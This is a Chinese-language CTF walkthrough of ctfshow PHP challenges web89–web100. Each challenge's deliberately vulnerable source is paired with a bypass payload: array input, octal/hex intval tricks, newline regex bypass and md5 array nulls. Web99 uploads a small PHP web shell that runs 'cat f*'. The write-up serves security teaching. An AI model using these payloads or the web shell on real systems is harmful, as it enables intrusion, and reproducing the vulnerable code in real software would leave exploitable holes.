web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

get方式传入num参数,然后通过preg_match判断是否存在数字,如果存在,就die,不存在的话然后intval函数判断整数,通过数组绕过preg_match,因为preg_match无法处理数组,所以payload:

?num[]=1

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

get方式传入num,如果num===4476就die,然后intval判断num,这里看intval函数

intval
(PHP 4, PHP 5, PHP 7)
intval — 获取变量的整数值
说明
int intval( mixed $var[, int $base = 10] )
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 

参数
var
要转换成 integer 的数量值 
base
转化所使用的进制 

Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
• 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
• 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
• 将使用 10 进制 (decimal)。

所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,

所以这里我就就可以用16进制或八进制表示4476

?num=0×117c    //十六进制
?num=010574    //八进制

还有看下边的例子

<?php 
echo intval('a123');
echo '-';
echo intval(123);
echo '-';
echo intval('123a');
?>
//0-123-123

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

所以payload

?num=0x117c    //十六进制
?num=010574    //八进制
?num=4476a    //字符串

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

看两个preg_match的差别

第一个preg_match(‘/^php$/im’, $a)

第二个preg_match(‘/^php$/i’, $a)

差别就在于第一个preg_match多了个/m,/m表示匹配多行数据,就是输入的每一行都被匹配,所以我们可以通过换行(%0a)绕过,最终payload?cmd=1%0aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

首先要求num!=4476,然后intval($num,0)==4476

八进制和十六进制还是可行的

?num=0x117c    //十六进制
?num=010574    //八进制

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

有个preg_match(“/[a-z]/i”, $num),所以不能用16进制了,八进制?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了一个strpos($num, “0”),关于strpos

strpos
(PHP 4, PHP 5, PHP 7)
strpos — 查找字符串首次出现的位置
说明
mixed strpos( string $haystack, mixed $needle[, int $offset = 0] )
返回 needle 在 haystack 中首次出现的数字位置。

此时再看我们的八进制payload?num=010574,0首次出现的位置就是第一位,也就是第0位,此时为True,那么我们只需要讲0放在不是第一位就好了,用非数字符号绕过。

payload?num=%20010574 // 010574

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

没什么大的区别

payload?num=%20010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

这里还是看一下highlight_file


highlight_file
(PHP 4, PHP 5, PHP 7)
highlight_file — 语法高亮一个文件
说明
mixed highlight_file( string $filename[, bool $return = false] )
参数
filename 欲高亮文件的路径。 return 设置该参数为 TRUE 使函数返回高亮后的代码。 

既然filename是路径,那就加个当前路径,没什么影响。

payload?u=./flag.php

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里要求

$_POST['a'] != $_POST['b']
md5($_POST['a']) === md5($_POST['b'])

经典数组绕过,让他们能返回null a[]=1&b[]=2

注意这里两个md5比较用的是===,如果是==的话,可以用那种0e的方法绕

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';    
//先判断GET方式是否有值,如果有,则等于POST方式的值,否则等于’flag‘
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
//如果GET方式的flag等于‘flag’,那么等于$_COOKIE,否则等于‘flag’
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
//如果GET方式的’flag‘等于‘flag’,那么等于$_SERVER,否则等于‘flag’
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
//HTTP_FLAG等于‘flag’,就给flag
?>

给我绕晕了,先捋一捋,不管GET方式传递的是什么,最终都会被POST方式的替代,那么GET方式随便传,然后POST方式给HTTP_FLAG赋值flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

这里是先给一个$allow数组,往数组里塞随机数字,然后就是$_GET[‘n’]了,先判断n是否存在,然后就是file_put_contents写文件了,因为36一定存在,所以GET方式的文件名我们传36.php,这里通过弱比较36==36.php,POST方式的content写PHP马<?php system('cat f*'); ?>

然后访问/36.php,然后查看源代码

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}


?>